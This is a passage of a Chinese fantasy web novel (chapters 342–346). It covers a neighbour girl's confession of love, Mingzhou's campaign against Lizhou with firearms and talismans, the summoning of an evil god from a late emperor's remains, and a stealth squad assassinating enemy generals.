好容易前些日子得知初六哥回来了,她本想和对方“偶遇”,但谁知道对方压根就不怎么出门。 眼看时间流逝,二凤也着急,一不做二不休,拎着家里刚酿出来的酒上门了。 “初六哥,我听你回来了,所以来看看你。对了,这个是我爹酿的梨花酒,让我过来给你送点尝尝。” 初六有些意外——梨花酿。 “是今年四月份那会酿的?” 他有点好奇,虽然不多,但因为有些时间没和人说话了,不免话就多了点。 “是去年四月份酿的,刚挖出来,想来味道不错。初六哥尝尝?” 初六看了看眼前的二凤,意外发现这个素日寡言少语的邻家小妹妹似乎活泼了一些。 换句话说,她现在看起来神态明媚,漆黑的眼睛像是小云雀一样活泼。 他本来不是个热络的性子,却被那点明媚点燃了生机。 再加上邻家小妹妹还抱着酒,往前窜了窜,让他没办法拒绝,索性打开门。 等到尝了尝这酒后,初六眼前微亮。 “好酒,我竟然不知道许伯手艺这般好。以往有这手艺他竟然是藏着掖着,没给我们尝过。” 初六难得开了点玩笑,二凤的父亲和他过往还是同僚,都给廖尚书做事。 “初六哥可就冤枉我爹了,他还是听了我说的后,这才在县里买了美酒,又加了梨花酿的。” 二凤说话时带了点小小的得意,眉眼弯弯,让他难免觉得喉咙微微发干。 “那你是从哪得的法子?” 二凤听到初六这么问,来了精神,抱着在喜欢的人面前展示羽毛的心态,她将自己上学读书,又因为成绩出色得到了一次前去“集闻楼”查看书籍的机会。 在那楼里,她意外看到了这梨花酿的制作方法。 伴随着她娓娓道来,初六甚至能身临其境感知到她为何如今看着变化这般大。 原来她在此地学了习,不再是以前那个害羞的邻家小妹妹了。 暗叹二凤的努力和上进后,初六慢慢又喝了口梨花酿。 不得不说,滋味确实很奇特,梨花的香气在发酵后传递出一种悠扬的韵味,像是带着他回到了春日百花争艳之际。 连带着心情逐渐放松下来。 不等他继续说点什么,倒是先被二凤紧接着的话吓了一跳。 她说,她心悦于他。 事实上,二凤很紧张,她这辈子没干过这么出格的事,若是放在以往,她被各种不成文的规矩教导得脸皮薄,又容易害羞。 那些规矩教导她,作为女子,就要矜持稳重,等着男子来追求自己。 她一直觉得很对,直到上了学,慢慢才开始质疑这规矩。 ——为何要乖乖等着男子来追求自己,她为何就不能主动去追寻自己喜欢的人? 为何男子追女子,那叫合乎规矩,而反过来就是女子不自重? 越学习,她越是慢慢察觉到过往人生被限制,被规训得有多厉害。 在这接近两年的时间里,二凤逐渐想明白一个道理。 喜欢的东西,无论是人还是事,她都要去努力争取。 与其作为被追逐者,时刻惊恐担心追她的男子会更进一步,还是后退一步,不如自己去做那追逐者,将这进度条牢牢地握在自己手里。 这样的话,主动权在她手里。 她选的是自己喜欢的人,该怎么追,什么时候想停,什么时候又可以继续,完全是她说了算。 若她喜欢的人因为她的主动而退却,那她只能说自己看错了人,这人和她不合适。 若对方欣然接受,那她稳赚不赔。 毕竟她觉得自己已经忍得够久了,再不试着追追看,说不定就要亲眼看他喜欢上别人,去追求别的女子。 实际上,初六确实被二凤的大胆惊得心神剧震。 甚至第一时间以为对方在玩闹。 只是看到对方认真的眼神,这完全不是开玩笑的状态。 初六先前还在因为母亲的死亡而难过,如今这点感觉被突兀的告白震撼完了。 若是以前羞涩胆小的二凤,他或许会拒绝,但如今她不同,眼内燃烧着的那点东西不自觉吸引着他。 像是一丛野火,热切的燃烧着。 他从这里感觉到了勇气,温暖,还有一点说不清楚的安心。 他想,他是愿意的,至少,他愿意被追。 作者有话说: 今天紧急炒了点,字数有点少了滑跪 第343章 圣物 近日,黎州和明州摩擦不断,而廖尚书的死像是压死骆驼的最后一根稻草,战争全面爆发。 先前负责将明州攻克下来的三支队伍再次编整,由三支队伍分为四支队伍,而伍六作为被吴将领特意推举的新将领,如今自然也加入到了此行攻打黎州的队伍里。 之前在两州对峙期间,四支队伍早就开始加大训练,同时器械厂那边不断地生产武器,火铳,震天雷等物,力求将武器配置到每个人手中。 前不久,段化才研制成功更为袖珍的火铳,这些微型火铳被分发给将领,以及军中更为重要隐蔽的军种。 除了军需物资匹配外,后勤粮草,行进的盔甲,衣物,也全部配置得当。 再加上方大人一直以来很注重军队待遇,足以保证为仙人大业拼命的士兵们可以毫无顾忌地奔赴前线。 四支队伍留下一支守在明州,其余三支很快便分头前进。 同时,永道宫分为两队,一队负责守护后方,防止景旭宫等人前来冒犯,而另外一队则是静悄悄前进,负责在前线和景旭宫等人作战。 而永道宫带队的有仇师祖,以及两位长老。 而仇离则因为身负多份任务被留在明州,不得跟随上前线战斗。 他的师兄仇朗则是请示师祖后,一并跟着前往战场,去的人还有李师叔。 仇离虽说也想去,但很快又忍住了——相比于去前线厮杀,他还有更重要的任务。 如今蒸汽机械的各类发展都离不开人,尤其是懂的人不多,还需要他和庄鱼两人继续努力,少一个人都不行,这蒸汽进度就会被拉慢,再说了,先前方大人就说过,等到四海归一,一统天下之际,她要让三州全部进入蒸汽时代。 时间急迫,任务又重,仇离很快再次投身蒸汽机械。 三支队伍,外加永道宫队伍行进速度很快。 最先来到黎州的自然是永道宫一行人,他们要率先负责神不知鬼不觉清理掉景旭宫提前设计的阵法。 因《青梧引》修行起来没有阻碍的缘故,目前永道宫整体修为要超过景旭宫,所以对待低一级的阵法,拆解起来的速度相当快,且还能做到不让对方察觉。 前脚永道宫负责拆除阵法完毕后,后脚,三支队伍陆续到来,一路从边境小城打过来,直逼黎州元城。 行进途中,三支队伍则是按照先前方大人的教诲,每到一个地方,就先表示投降不杀的态度。 事实上,多亏先前半年多的商品战以及潜移默化的影响,他们队伍过来时,并没遇到百姓们拼死抵抗。 甚至有的地方小官还会偷偷派人把门给他们打开,让他们能顺利攻占。 三支队伍:?这对吗? 本以为这是一场硬仗,结果所到之处,压根没什么太大的压力就这么过去了 当然,中途也有不少城属于朝廷某个家族的人,这样的人大都不会主动退,也不许部下后退,只管要士兵们拼命作战。 但实力差距太大,火铳,震天雷,哪一个拿出来对面都不是对手,再加上也是头一次遇到这类武器,几乎还没等反应过来,便会迅速被击溃。 打到后面,早就打得士气皆丢,别说拼死对战,仅仅是和明州持枪的士兵们对上,这些人便会扭头就跑,实在是被打怕了。 哪怕上头再次威胁,也无济于事,再也凝聚不起来了。 主要原因是本身这些士兵有一部分是被逼的上战场,压根没有什么崇高的目标这一类东西,这些人自然想着的是保全自己,尤其是看到明州军队实力强悍,他们上去就是送死后,当然不乐意拼命。 还有一部分人一开始还抱着赚取军功,讨好上司的目的,但眼睁睁看着各方面己方均被对方碾压后,心态崩溃,战意退却。 为钱和军功而来,受胁迫而来,又如何能和明州训练有素,装备良好的军队作战? 更何况,明州军队从心底便深觉他们这场战役是正确的,完全是为了仙师的大业,而等仙师一统后,这些民众也会像他们一样,过上好日子。 这样的战役能给百姓带来好处,他们是完全正确的。 且一路走来,他们早就按照方大人旨意,若非百姓主动攻击,他们绝不会杀害任何一个平民百姓。 当然,因为先前舆论战的胜利,整个黎州的百姓实际上还是对他们很有好感,别说主动攻击,甚至还有人会联合起来偷偷将城门打开,好让他们快些进城,早日攻下这座城池,早日让他们也能过上好日子。 除了这些骚操作外,甚至还有不少民众被压迫得狠了,在那所谓的县令下达死守命令,又让官兵强迫普通青壮作为前排冲锋送死后,这些人怒而奋起,反而一拥而上,找机会将县令绑了起来,又拿起武器,将先前总是欺负自己的这些官兵们一一打趴,等到明州军队前来后,便将县令押出去,又打开城门迎接明州军队。 此类事件多得很。 起初明州军还有些惊诧,但权当个人行为,但越往后,眼睁睁看着这操作越来越多,越来越让他们看不明白,个个都惊呆了。 ——不是,本以为这次和黎州作战是一场硬仗呢,合着不是他们和黎州的硬仗,而是百姓们和黎州各区域官兵的硬仗啊! 因有百姓协助,三支队伍的速度比原先起码快了一倍 ,且人员伤亡简直可以忽略不计。 不说别人,行军打仗多年的吴将领也得抽空和伍六感慨。 “不战而胜。多年来,我还是头一次遇到这情况。 也多亏先前方大人执意先花了半年时间渗透黎州,不然黎州百姓定会同我等负隅顽抗。 到时候,又要死多少无辜百姓,而眼下,这就是最好的结果了。” 伍六心头思绪乱飞。 先前他跟着吴将领率兵攻打明州,说实话,战事要比如今更为紧张激烈。 哪像现在,不等他们动手,便有百姓们率先拿下官府,亦或是有百姓们替他们打开城门,次次赢得轻松。 仿佛不像是战斗,而像是他们率兵去验收成果一样 仅仅一个月,明州三支队伍便从不同方向将元城团团围下。 比预想中速度快多了,期间也不是没有意外。 保皇派和先皇派在察觉到明州攻占速度超出寻常,派探子查探后,这才发觉不对劲。 ——火铳和震天雷他们原先探查出来过,本以为这东西很珍贵,在战斗时不会给每个士兵都配备上,但事实完全不同,据探子回报,明州士兵们个个手持火铳,身上挂着好几个震天雷。 实在是富裕到过分。 且更让他们惊恐的是,百姓们居然毫不反抗,甚至还里应外合,简直要将他们气得半死。 等到这时候,众人才回想到先前半年来明州的用意——策划半年,精心设置舆论,从而操控民心! 可恨! 但当初,他们都忙于修炼,忙于派系党派之争,就算是有人注意到了明州的长远布局,但人微言轻,再加上当初利益庞杂,涉及到多个家族之事,不好动手。 这拖来拖去,最终大赢家自然是明州了! 保皇派和先皇派终于沉默了,暂且不再斗争。 而中立派的明显更为冷静。 其中,谭江则对明州手段早就有心理准备。 前半年,明州开始频繁在底层售卖商品,又传播信仰,他便曾亲自下去过查看,等到了解打听后,稍作思索,很快就知道明州所求为何。 谭江深知黎州聪明人不少,这些人但凡是有心一些,看到明州所为后便能猜测到对方的目的。 但知道是知道,能动手解决问题的人没有。 或者说,如今被两党把控的黎州,谁能插得上话? 不是说看不透明州近乎明牌的操作,而是无人敢管。 谭江忍不住笑了——所以这也在明州知州的预谋中? 知道就算是知晓他们了解明州的手段和目的,但也会因为种种牵绊难以解决。 所以对方压根是毫不顾忌啊。 真好,这明州新的知州是个有意思的人。 他甚至开始期待那一天的到来,期待明州打到元城的那一日。 或许真到了元城换主的那日,他便能亲眼看看那神秘的明州知州。 中立派的大都还算淡定,因他们往日家族并非做过什么十恶不赦的坏事,日后这朝廷改头换面,对于他们来说,不过也就是换了个新的领导而已。 反正不会比现在更坏了,更何况先前打听的消息是,那明州知州是个不可多得的天才,无论哪方面,吊打如今被把控的死死的小皇帝。 他们并非生下来就要做这中立派的,原先谁没有想为朝廷效力的时候? 只是一腔热血散尽后,那点理想的冲动和残酷的现实比起来不值一提。 再多经历几次挫折,这才叹息着加入中立派。 毕竟做坏事过不了良心,又无法做利国利民的好事,只能不上不下,卡在所谓的中立派里保住这条命,保住家族。 或许等到那明州军队打过来后,中立派不再需要中立。 皇宫。 保皇派,先皇派,以及景旭宫的人纷纷汇聚在一起,朝着座上的年轻天子汇报如今战果。 等听到战事告急的消息,本以为小皇帝会慌了神,但很奇怪,三派人马竟然并未从他脸上看到惊慌。 想到今日要说的话后,景旭宫宫主率先开口。 “陛下,如今战事危急,我等自然要护陛下,护皇宫,护元城安危! 只是敌方奇诡,还望陛下开恩,让圣物出山。” 第344章 邪神 圣物——只有最上层的这一批人才知晓的存在。 但实际上,无论是保皇派,亦或是先皇派,都不知晓此物是用先皇尸骨做的。 只有景旭宫宫主和小皇帝本人知晓这件事。 毕竟一个是制作圣物的人,另一个是制作圣物所必备的条件。 眼看如今情况危急,若不让圣物出山的话,恐怕这元城要保不住了。 说实话,原先即便是景旭宫也不曾能预料到情况会发展到今日这般紧急。 敌方不仅仅有更为先进的武器,就连永道宫也修为成谜,神不知鬼不觉破解了他们原先设置的防线。 对敌人的错误预估让这场战斗十分艰难,更何况民心不在朝廷,反而黎州的百姓们向着外人。 景旭宫本就名声不好,原先也不曾想着要服众,左右不过这些人只能选择在黎州呆着,他们又干嘛要浪费心神去得民心? 只是事情发展实在出乎意料,异军突起,明州反而捡了漏。 更让景旭宫难受的点在于,《青梧引》时刻是个大隐患,指不定什么时候就会爆雷。 如今那永道宫发展飞速,或许就是因为不受那功法限制,而他们景旭宫却被限制得紧,不说想提升修为,就说能不能稳下来,不让这身躯爆开如今竟然都成了最急需解决的问题。 如果单单是为了朝廷,景旭宫并不愿意拼命,但坏就坏在他们如今全宫上下都急需解决功法隐患。 和永道宫讲和是不可能的,这可是世仇。 便只剩下最后一个法子,只能硬取。 为了扭转局面,他立马就想到了先前所制作的圣物。 此物本就是先皇尸体所做,代表着一国气运,既能做到皇帝这地位,那这就是受天道认可的气运之子。 如今战事在本国爆发,若用这气运之子所制圣物召唤出神灵,未尝不可和那所谓的永道宫老祖一战。 这便是他们唯一的胜算了,必须要让小皇帝松口才是。 因圣物涉及颇广,如今殿内只余小皇帝和宫主两个知底细的人。 “但圣物出山,召唤出来的神灵那可是随机的,若是正统还好,若是邪神岂不是不妙?” 小皇帝没像他所想那样轻易同意,倒是指出这圣物最大的缺点——随机性太强。 宫主不免在心中冷笑。 如今这皇宫都快被人打没了,还考虑这些有的没的的,怪不得小皇帝最后落了个被人拿捏的处境,还是心不够狠,没有做大事的魄力。 嘴上安慰。 “陛下,虽说是随机的,但原先先皇那可是一等一的明君,那由先皇召唤而来的神灵,定也是慈悲为怀的神灵。 最重要的是,如今明州贼子入都城,遍地战火,民不聊生,若让这等贼子占据了大炎,日后那就不仅仅是元城百姓的不幸,那是我们整个大炎的不幸啊。 若先帝在天之灵,看到如此生灵涂炭一幕,定会悔恨心痛。 陛下,有道是,牺牲是为了更好的得到,现在便是如此。 若我等不去赌一番,就这样轻易将大炎拱手让人,这让依附于朝廷过活的百姓该如何自处?日后又该如何生存?” 宫主说这话很有迷惑性,每一句话都是在敲打着小皇帝软弱的心。 他很了解小皇帝——原先储君并非小皇帝,而是大他六岁的太子。 太子可真是和先帝一个模子里印刻出来的,杀伐果断,处理政事水平不在先皇之下。 当初的先皇派自然是全力支持太子,可惜太子在处理水利时陨落在当地,很难说其中没有别的党派的插手设计。 而先皇便是被这一事故打击得迅速老去,伤了心神。 不久后就薨了。 而留下来的继位者里,保皇派扶持了如今的小皇帝上去。 小皇帝自幼饱读经史,博通艺文,于诗词书画,琴棋鉴藏无不精绝,可惜天性温厚,心慈手软,刚断不足,原先太子及其一众继位者在时,他便是最没有皇家威仪,也是最好说话的那个。 其余人也没把他当做竞争对手,但偏偏是这软弱性格,才能被保皇派等人看中,将他扶持上位,作为傀儡操控在手心。 实际上,当初太子在位时,因太子从小便展露出治理天赋,被先皇亲自教导,倾注心血,就盼着日后大炎能在他手里更上层楼,开创一代盛世。 太子才能颇高,治理手段实在是精妙,哪怕是其余想继位的人,也得掂量掂量太子的分量。 当初的小皇帝尤其不被看好,既出生在皇家,又没什么竞争力,太子也把他当最小的弟弟宠着,毕竟他的心思很好懂,皇宫人精又多,谁都能看出来他是真没有想夺位的心思。 而小皇帝也是从小被散养,原先太子在时,他活得倒也算肆意,只是后续太子出事,大炎丧储,先皇又撒手人寰,在惨烈的竞争中,小皇帝被迷迷糊糊捧上皇位,他不能再当那个闲散皇子了。 他本就没太多治国能力,恰逢当初留下一批乱摊子等着他收拾,无奈之下,只能动用保皇派的人处理事务,这才让保皇派的人慢慢发育起来。 其实当初若是换个心狠手辣的,定会在借完了保皇派的势后立即找机会处理掉这柄刀,可坏就坏在小皇帝心慈手软,他本就不是这样的人,这才放任保皇派迅速膨胀起来。 这些年,小皇帝实际上处于一个被豢养的状态——得来的消息全是假的,全是美化过的,他也想微服私访,亲自体察民情,可惜路线也是被人定好的,下去看到的东西,也是人提前演出来,专门给他看的。 身旁一切都是假象,久而久之,小皇帝便处于一个和现实,和真实极为脱轨的被编造的假象中。 在小皇帝的认知里,目前黎州自然是三州百姓日子过得最好的,且另外分裂出去的两州,他日定要将两州收复回来才是。 他拨款修建水利,又改善民生,根据下面反馈,效果不错。 如今饿死的人要少太多了。 至于中途也有事情太大,瞒不住的时候,譬如前年大旱,去年水渠被冲垮,死了许多人。 大旱暂且不提,这是天灾,但水渠,这可是人祸。 小皇帝很愤怒——他三年前才对水渠拨了款,让下面的人去修,当初拨款足够好好修建水渠,那为何如今暴雨会冲垮水渠,还死了这么多人? 那材料到底用的还是不是那一批好的? 当初这些人真的有好好做事?没有贪污? 种种疑惑盘桓在心头,小皇帝派人去探查消息,但很可惜,他手底下能用的人很少,且大部分时候探查到的都是假象,在好不容易有探子传递出新的消息后,小皇帝面对那情报,一晚没睡着。 原来,三州百姓都过得这般凄惨,且这只是他所能看到的一角,在他看不到的地方,到底还有多少他不知道的事? 那原先父皇在时,原先大哥在时,他游历出去看到的东西,那些东西是真的还是假的? 是他一直处于假象之中,还是上位后,他一直处于假象之中? 而如今,听到景旭宫宫主这番劝慰话语,小皇帝情绪复杂 这话的可信度有多少? 但确实,他说的也不错。 黎州目前还有他,即便被蒙骗,这些人还会看在他的份上稍微克制一二。 若真让明州拿到大炎,日后百姓会活得更艰辛。 于是就这样,小皇帝同意了。 那圣物被应允出去。 景旭宫宫主面露满意,又拿出来一条腰佩。 “陛下,此腰佩是我宫内远古时期遗留下来的护体之宝,您定要不能离身,以防敌人通过您切断和圣物的联系,导致圣物失效。” 这圣物的弱点就是小皇帝,即便是召唤出来神灵,若小皇帝身死,这神灵会迅速实力大减,甚至会被拉回来时之路。 既圣物已拿到,景旭宫宫主便不再多费时间,寒暄两句迅速从宫内离开。 元城外围着四支队伍。 目前的话,突袭定在明晚。 先前多战大捷,如今眼看剩最后一步,众人稍放轻松,很快又被吴将领动员要警惕小心。 有时候,越是靠近胜利,反而会越危险,更容易遭到对方的拼死抵抗。 先前的经验无法用在元城,毕竟元城作为都城,其内占据大多为各个家族的核心人员,景旭宫。 即便民心动摇,但百姓绝不是这些大家族的对手,不可能出现像先前一样,替他们打开城门,接应他们。 而且之前无论是这些大家族的私兵,亦或是景旭宫的偷袭都没能成功,且他们高歌猛进,一路直下,对方绝对是到了要拼死抵抗的时候了。 在没有彻底胜利前,必须要保持警惕! 更何况他们现在在明州吃过亏,那人魂幡出现得突然,若不是仙师出手,当初他们定要全军折在那里。 临时驻扎地还依旧有巡逻队巡逻,甚至巡逻得更加严密。 上半夜一切无恙。 下半夜,伍六半夜惊醒,穿好衣物后,他出去巡逻一圈,本想询问一番下半夜情况,却看到负责巡逻的军队竟然被放倒在地。 更诡异的是,这些人不像是被刀剑所伤,也不是毒发身亡,若必须要比喻的话,更像是当日人魂幡被吸收生魂后那些人的状态。 察觉到可能是元城内出现变故后,伍六没犹豫,立即全军戒备。 永道宫的仇师祖匆忙赶来,却在细细查看这些死去巡逻队的人尸体时惊疑不定 等一下,这气息,像是远古时代的邪神 也不对,若是那邪神的话,尸体不该完好,理应爆裂开来才是 在仇师祖蹙眉之时,眼前尸体赫然炸开,与此同时,原地留下一无面青铜小像。 第345章 找到你了 无面青铜小像静静躺在地上,让人不寒而栗。 周围人立马退后几步,避开和小像的接触范围,生怕被这奇诡之事牵连上。 仇师祖盯着这无面青铜小像,脑内瞬间闪过种种怀疑,但却无法确定此邪神到底是哪一个。 但可以预见的是,这玩意绝对是景旭宫想办法召唤出来的。 ——景旭宫如今丧心病狂,被逼急了竟敢召唤邪神供他们驱使。 邪神的召唤根本毫无规律和道理,但个个都是大杀器,都不说会不会扭转战局,这玩意一旦出现,必定会生灵涂炭,最重要的是,邪神完全不受控制! 仇师祖恨得咬牙,却毫无办法。 景旭宫漠视万物生灵,全宫上下只追求极致的利益。 眼下眼看要输,定会拼死反抗。 先前仇师祖就曾做过心理准备,甚至还将宫内多年前的法宝们全部带过来,就是防着他暗施诡诈,行非人之举。 只是谁也想不到,对方竟然会直接选择召唤邪神,更恐怖的是,这邪神气息十分强大,绝非善类,按照这力量,绝对不可能被控制。 恐怕这场战役要落个两败俱伤。 仇师祖先让众人稍撤后,避开邪神正发育阶段,同时,他则是掐算一卦。 铜板翻飞,卦象为第3卦——屯卦。 表示邪神刚开始发育,虽说战斗过程艰辛,但最终险胜。 仇师祖微微松了口气,不过这也不是什么好事,此卦象表示定会有不少伤亡。 但无论如何,为避免伤亡数字攀升,仇师祖毅然带人潜入元城,在慎刑司等人的护送协助下,直奔城内阵法异变之处。 他们必须要阻止邪神继续入侵,不然等邪神彻底入侵后,到时候定会造成无法挽回的结局。 且邪神是外来的入侵者,若是和仙师对战起来,说不出来哪个更强更弱。 这范畴可是神仙互相斗法,他们作为肉体凡胎的人类,又如何能理解神灵之间的战斗? 既如今邪神不曾彻底降临,他定要延缓邪神神降。 不论仙师是否知晓,又打算怎么做,但他既然归降于仙师,永道宫受仙师的庇护又足够多,再加上那《青梧引》功法,如今若不在危难之际为仙师效力,实在是不像话! 很快,在仇师祖带队破坏两个阵法后,景旭宫的支援来了。 邪神是景旭宫最大的后盾,且先前几日,景旭宫弟子亲眼看到不少同门修炼功法爆体而亡。 眼看敷衍不过去,再加上整个景旭宫都处于生死存亡之际,宫主宣布功法的缺陷只有一条法子可解,那便是打倒永道宫,将缺少的一块拼图补足,这才能解开身上的缺陷,同时获得最完美的功法。 宫内既然都摊牌了,景旭宫弟子为求活命,个个不怕死的冲锋,阻止永道宫对阵法插手。 虽说他们修为没有永道宫修炼完整《青梧引》的道士强大,即便永道宫一人能打三四个,但蚁多咬死象,加上景旭宫这边完全是一副不要命的打法,一时半会,竟然是步步逼退永道宫。 且景旭宫出手,完全不顾及百姓,使用符咒道具,只想着杀伤力大不大,至于误伤平民,在他们这里压根不存在这概念。 在所有景旭宫道士眼里,平民和牲畜毫无区别。 那些平民和他们压根就不是一个物种,根本不值得花费多余心思。 敌方出手狠辣果决,永道宫虽说在修为上占便宜,但架不住还要分神避开平民聚集地,片刻失神就会被众景旭宫弟子团团围住,而后陷入苦战。 即便如李归一这样有天赋,又熟悉术法的道士,也被逼得连连后退,只顾自保。 激烈的斗争中,景旭宫弟子不乏有爆体而亡的,但同伴的死亡更加剧了其余弟子的疯狂。 ——不想死的话,只有杀掉永道宫,拿到那完整无缺的功法! 不然就算今日不死在永道宫手下,他日也会死在功法爆体而亡! 除了永道宫陷入苦战,就连别的三支队伍也是如此。 元城官兵不当人,知晓自己武器火力不足,便想到了一损招,将城内平民赶过来,用他们充当人肉城墙。 若明州可以毫无心理负担的杀死由平民组成的人肉墙,那便来吧。 不踏着无辜百姓的尸体,这样的胜利叫什么胜利! 无论输赢,谁也别想好过! 吴将领气得咬牙切齿。 “卑鄙至极!这平民中难道就没有这些官兵的家人?这些将领既失军心,又失民心!” 伍六不是个喜欢谈论的人,他更冷静一点。 “元城已经是强弩之末,对他们来说,长期的东西已经顾不得考虑,如今只有靠着短期的胁迫和恐吓才能有机会和我等斗争。 若我等今日射杀无辜百姓,那和他们本质上又有何区别? 当初方大人曾说过,若百姓固执阻拦,那便可杀。 但如今,这些人都是被迫前进,被迫站在我等对面,用血肉之躯对抗我等精铁炮火,若今日我等能对手无寸铁的百姓发动无差别袭击,那日后就算我等拿下元城,拿下黎州,也失信于民,会被百姓所畏惧。 而这恰恰和方大人,和仙师一直以来所追求的目标背道而驰。 于情于理,我等都应该让大部队暂时撤退,避开风头。” 这话很有道理,但难免有将领扼腕叹息。 “先前大好局势,竟要就此退让,当真气煞人也!” 愤恨归愤恨,但不得不退。 然而,伍六却继续道:“大部队退是退了,但我建议组建一支精兵作战部队,深入敌营。 只有杀掉敌方将领,杀掉提议用无辜百姓阻挡炮火的人,才能让他们暂且凝聚而成的队伍再次打散,重创士气!” 其余几人一听,眼睛顿时亮了,而后又摇头。 “此法子确实有用,但一支精英小队,如何能穿过层层人马,精准地找到那罪魁祸首?” 伍六冷静阐述战术。 “定要智取。精英小队必须每人配备足够的符咒,比如遁地符咒,潜行符咒,隐身符咒,护盾符咒等等,每个人都可以用自己的方法,前往敌军核心,最终目的便是找到并杀死敌军首领。 除了精英小队的潜行外,撤退的大军也要控制撤离速度,既不可撤退太快让对方怀疑,也不可撤退太慢让对方对着平民开刀威胁,这个度要把控好。” 立即有人持反对意见。 “不可!此类符咒虽说强悍,但持续时间极短,最多仅有三十秒,且潜行,隐身,遁地,在触碰到敌人时就会失效,而这战场上最不缺的就是漫山遍野的人,这风险会极度上升啊!” 众人心知肚明,所谓精英小队,不如说是送死小队! 伍六神情坚毅。 “诸位!我,伍六,申请担任此精英小队的负责人,愿接下任务,愿为方大人,为仙师,为大义献出一切。 包括这条早就该亡的性命。 我伍六如今无父无母,又蒙受仙师大恩,我已经体验过身为一个人,哪怕是一个普通人,也能过上有尊严,像个真正的人过着的生活。 同样,我想让正在遭受痛苦,遭受胁迫的平民百姓亲身经历我经历的一切,让他们有机会去看看完全不同的生活到底是什么样的。 精英小队在一刻钟后准时潜入,若有愿意前往的,便站在我身后。” 伍六这番话让一众人陷入震撼中。 战场上炮火激昂,有尖叫嘶吼声,也有哭嚎喊叫声,但此刻,伍六的声音如雷贯耳,吸引了众人所有的注意力。 很快,一个个人咬牙站出。 直到最后,吴将领想站出来,将伍六替换回去,被他拒绝。 “吴将领且慢,撤退时,敌军定会关注到诸位将领,所以您必须带领队伍有秩序撤离,而我因初次露面,并不受敌方关注,所以这队伍由我来带领最合适不过。” 吴将领喉咙像堵了一口棉花一样,但时间容不得他们犹豫,在和伍六交换完最后一个眼神后,大军有秩序撤离,而伍六带领着九人,组成一支十人小队,穿梭在战场中,试图寻找敌军的核心人物。 因符咒限制颇多,所以十人完全是分开行动的。 事实上,能参与此次行动的都是对自己有信心,且无后顾之忧的精英。 伍六的手指捏着一张隐身符咒,心中默念着上一张符咒的有效倒计时。 “二十九,三十。” 刚数到三十,他指尖一动,下一张隐身符咒很好的填补上空缺,让他能够一直保持在一个隐身的状态。 与此同时,他还用了一张加速符咒,加速符咒的速度加持足足有三分钟,这让他的压力稍小了一些。 伍六小心控制着身体,穿梭在战场内,迅速扫过战场分布着的敌军。 ——不对,不对,这些人看起来都不像是! 为了避免打草惊蛇,在不曾大概率确定的条件下,伍六绝不动手。 战场很混乱,人更是多得不得了。 其实很考验一个人的心态和眼力。 伍六再次捏碎一张隐身符咒,终于在手头隐身符咒快要用完时,扫到了敌军最为核心关键的人物。 此人穿着明光铠,胸前背后皆有圆形金属甲板,在阳光下反射着光线。 这身打扮只有将军级别的人物才允许穿,其余人穿那可是僭越之罪! 伍六简直要笑出声。 多亏了这繁文缛节,不然他还真不好找。 此人看上去神态颇为轻松,毕竟这地方可是有层层守卫把守,位于最安全的核心位置,若在这里还要担惊受怕的话,岂不是对自家防守太没信心? 眼看对方还在同身旁之人谈论些什么,伍六紧握匕首,寒刃掠出一抹冷光,直扑而上。 ——要杀掉你了。 第346章 玉身枯骨 伍六像是一抹残影一样扑了上去。 加速符咒外加锻炼多年的爆发力,速度可谓是快到了极限。 周围同样身穿铠甲的两人还在和自家将军说着下一步的计划,还不等反应过来,寒光一闪,那身着明光铠的将军顿时只觉得汗毛倒立。 多年行军打仗的第六感疯狂发出警告,身体本能地往后一躲,只觉得喉咙一疼。 刚拔刀格挡,下一秒,眼内逐渐显露出一个陌生的身影。 对方刀尖一转,灵活如蛇,直逼他面门而来。 匕首和长刀发出“铮”的碰撞声,这将军狞笑。 “兔崽子!你也就这点能耐。” 嘴上这么说,实际上,他脖颈的皮肉还在往外渗血。 对于敌人竟然能潜入自家营地且差点偷袭成功,他可谓是后怕不已。 且对方力道强劲,分明是一把匕首,却能和他的长刀抵抗,如今说这话只不过是试图干扰对方,同时寻找弱点而已。 很可惜,伍六压根不受他影响,左手迅速摸出另一把匕首,以电光火石般直奔他脖颈而去。 一切发生的太快,此人只来得及伸手去阻拦。 其余两人愣神后迅速反应过来,惊骇之余立即提刀抵挡伍六的进攻。 但对方的手法十分具有迷惑性,那柄匕首只是在他们面前一晃,几乎瞬间,他们双眼一花,便丧失了视野。 匕首削铁如泥,越过将领试图抵挡的手,瞬间便刺入脖颈内。 血流如注。 另外两人只能眼睁睁地看着首领被杀,却无能为力。 他们甚至来不及做出下一步反应,在下一秒,匕首已经抵在两人同样脆弱的脖颈。 不等求饶亦或是呼救,这两人先后被当即割喉。 事发突然。 自家最安全的军营后方突然出现敌人,还在几秒内连续杀掉主将,副将,共计三人。 周围人被这变故惊得愣在原地,呆呆看着那蒙了面的人。 身姿高大,身上是挥之不去的肃杀意味,刀尖还在不停淌着血。 他脚下三具新鲜的尸体咕嘟嘟的冒着鲜血,血腥味弥漫在鼻尖。 一切都在告诉他们,对手仅在一个呼吸间就神不知鬼不觉夺走了他们将领性命。 对方抬眼看过来,那眼神锐利如刀,众人第一时间不是反击,而是下意识后退一步。 等意识到身体不受控制做了什么后,恼怒随即而来。 但事实上,却无一人敢上去硬碰硬。 身后不远处的弓箭手反应相对快一步,开弓去射。 数根箭矢破空而去,却没能射中目标,反而全部“扑簌簌”钉在地上。 ——人不见了! 与此同时,军营内从不同区域传来惨叫喧哗声,众人忙朝着声源处去看,发觉竟又有其余队伍将领遇袭。 仅仅一刻钟,在安全的后方,负责统帅全局的将领们陆续死亡。 这绝对是一种挑衅和威胁。 还活着的将领立马脱掉显眼的铠甲,而后混入人群,试图迷惑潜入的敌人,但却在下一秒就被火铳打穿心脏。 后方登时乱成一团。 不安的情绪从后方传递回前方,而知晓将领身死后,前方负责押送威胁平民的官兵乱成一团。 平民趁乱逃跑,一时间官兵竟然被民众冲乱了阵营,有不少青壮年民众抢了武器,反而要打回去。 战场登时混乱无比。 敌军士气瞬间溃散。 负责后退吸引敌军注意的吴将领立马察觉到伍六等人得手,即刻率兵继续前进,试图趁机一举赢得此战。 除却军队之间的较量,永道宫的众人此刻被缠得脱不开身,仇师祖在一众弟子和长老的掩护下顺利进到了那阵法核心。 在阵法核心处,赫然有景旭宫宫主正在推动阵法继续运转。 事实上,景旭宫宫主也处于头疼阶段。 ——召唤出来的邪神极难控制,但这召唤机会只有一次,如果就这样轻易放弃的话,景旭宫日后也难逃一死,还不如拼死一搏。 除了他在极力控制邪神,让邪神慢慢入侵降临外,在阵法核心的四角,均有景旭宫弟子护法。 如今仇师祖突然率人出现,为了邪神能顺利降临,其余景旭宫弟子立即飞身上前,试图拖延时间。 